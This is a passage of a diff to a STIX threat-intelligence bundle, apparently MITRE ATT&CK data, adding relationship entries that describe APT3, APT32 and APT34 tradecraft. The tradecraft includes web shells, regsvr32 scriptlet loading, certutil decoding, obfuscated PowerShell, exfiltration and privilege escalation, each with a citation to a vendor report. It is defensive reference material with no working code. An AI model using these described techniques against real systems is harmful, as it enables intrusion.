+            "relationship_type": "uses",
+            "description": "APT3 has used tools to compress data before exfilling it. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--afbf5119-6e39-4e4c-8329-57f7249a67b4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 uses commonly used ports (like HTTPS/443) for command and control. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--13f986d2-949b-42c8-bd4b-b8a833b9d5de",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T21:43:14.128Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to use multiple backdoors per campaign.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "APT3 Adversary Emulation Plan",
+                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
+                    "url": "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--ef1cdbe7-29c9-4be9-a3f7-96e5b7bae031",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T21:43:14.128Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to pack their tools.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "APT3 Adversary Emulation Plan",
+                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
+                    "url": "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--febbf503-d7e5-4896-90b9-35b6a811b19b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T21:43:14.128Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to remove indicators of compromise from tools.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "APT3 Adversary Emulation Plan",
+                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
+                    "url": "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--1334cbe3-8613-4279-9a1f-58781c2656a4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T21:43:14.128Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to brute force password hashes to be able to leverage plain text credentials.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "APT3 Adversary Emulation Plan",
+                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
+                    "url": "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--d924c061-9ee2-45c2-9ea4-491a2d3f50a5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
             "target_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
@@ -25710,7 +28425,7 @@
             "id": "relationship--3427863f-d4c4-4272-ad60-1479e42ed4af",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.058Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
             "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -25723,7 +28438,7 @@
             "id": "relationship--1c812537-dfaf-40da-a71b-a49c18870b77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.058Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
             "target_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04",
@@ -25731,12 +28446,38 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--16ef3e00-dc40-462c-9b74-5e8a8b24c86e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--f24d37c0-283d-4f37-8278-07fc75cc0e94",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--9820c1e9-a414-4af1-a78c-aaf2cb164361",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "target_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -25749,7 +28490,7 @@
             "id": "relationship--a5015a35-a6a2-4289-8d79-79b583c23e63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "target_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
@@ -25762,7 +28503,7 @@
             "id": "relationship--08d91d3c-b7c7-4cbc-a4eb-29edd3be3e3a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "target_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
@@ -25775,7 +28516,7 @@
             "id": "relationship--fca5a601-68fd-4b20-ad1e-0592cadecb73",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "target_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
@@ -25788,7 +28529,7 @@
             "id": "relationship--a18071ad-fe4f-4014-ad9a-1b0a66df3eab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "target_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
@@ -25801,7 +28542,7 @@
             "id": "relationship--98908617-068d-4b6e-bcba-ad213c137b1e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used scheduled tasks to persist on victim systems.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -25822,7 +28563,7 @@
             "id": "relationship--dfcc52d8-4664-48c4-9e35-2be2cd649d93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 created a Scheduled Task that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -25843,7 +28584,7 @@
             "id": "relationship--5f00edf9-fcfc-4514-8d06-bc69f91f9260",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used PowerShell-based tools and shellcode loaders for execution.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -25864,7 +28605,7 @@
             "id": "relationship--4477e350-645d-40de-8de7-7a6e1680c2e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 uses Cobalt Strike's malleable C2 functionality to blend in with network traffic.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -25890,7 +28631,7 @@
             "id": "relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used scheduled task raw XML with a backdated timestamp of June 2, 2016.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -25911,7 +28652,7 @@
             "id": "relationship--ce212487-1291-4fe6-9f0b-f697516a7824",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has cleared select event log entries.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -25932,7 +28673,7 @@
             "id": "relationship--db91e39d-daa4-4f9c-a7a6-be67eba712d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used Daniel Bohannon\u2019s Invoke-Obfuscation framework to obfuscate their PowerShell.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -25958,7 +28699,7 @@
             "id": "relationship--e0033e57-8839-42b9-8515-46e9c7dca966",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used CVE-2016-7255 to escalate privileges.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -25979,7 +28720,7 @@
             "id": "relationship--1d3654f8-3a5e-4ef8-826f-4242ecf78c0a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 compromised McAfee ePO to move laterally by distributing malware as a software deployment task.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -26000,7 +28741,7 @@
             "id": "relationship--7e7d5aa9-6860-44fe-88b9-22a6b36162e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used hidden or non-printing characters to help masquerade file names on a system, such as appending a Unicode no-break space character to a legitimate service name.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -26021,7 +28762,7 @@
             "id": "relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used legitimate local admin account credentials.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -26037,12 +28778,75 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--c7017855-dc52-4e9d-977f-3af701e094c8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT32 has used Web shells to maintain access to victim websites.",
+            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
+            "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Volexity OceanLotus Nov 2017",
+                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
+                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--93f1726f-f172-4705-a13a-d5adaeb4e91b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT32 has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.",
+            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Volexity OceanLotus Nov 2017",
+                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
+                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--79057890-3cd0-4124-8b35-b86db6b4f9d7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT32 has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks.",
+            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Volexity OceanLotus Nov 2017",
+                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
+                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--ab9b78cc-2b83-4074-beeb-0af4aad906d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -26055,7 +28859,7 @@
             "id": "relationship--5ccd4b15-ef11-4b89-b0e1-4dd714fa2fb5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
@@ -26068,7 +28872,7 @@
             "id": "relationship--d9c29485-ced4-4ebc-880c-31d35dd54b26",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
@@ -26081,7 +28885,7 @@
             "id": "relationship--55f58d30-b633-4094-97bb-6ab872c0f480",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
@@ -26094,7 +28898,7 @@
             "id": "relationship--bb8fd9d4-4362-40c6-ab09-f05f843c2cef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
@@ -26107,7 +28911,7 @@
             "id": "relationship--032fb34d-3434-4667-9d5e-6bb9fd6b7d00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
@@ -26115,12 +28919,559 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--fc1ec654-af35-4a7d-b2f6-54b4d8378cfb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 can download remote files onto victims.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a39bc982-3934-4ec7-ba33-0de9331d55f5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used .bat and .vbs scripts for execution.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--7df747e6-81a1-4bb0-b47f-96136694f2d0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used PowerShell scripts for execution.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--3fe559f9-9bee-48ea-8a7c-7d65b63419ee",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used base64-encoded files that are dropped to victims.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--ec99ea0b-1020-4ccc-bdc8-d545a4d3ccf6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used certutil to decode base64-encoded files on victims.",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has deleted initial drop files from the staging directory.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has frequently used Web shells, often to maintain access to a victim network.",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
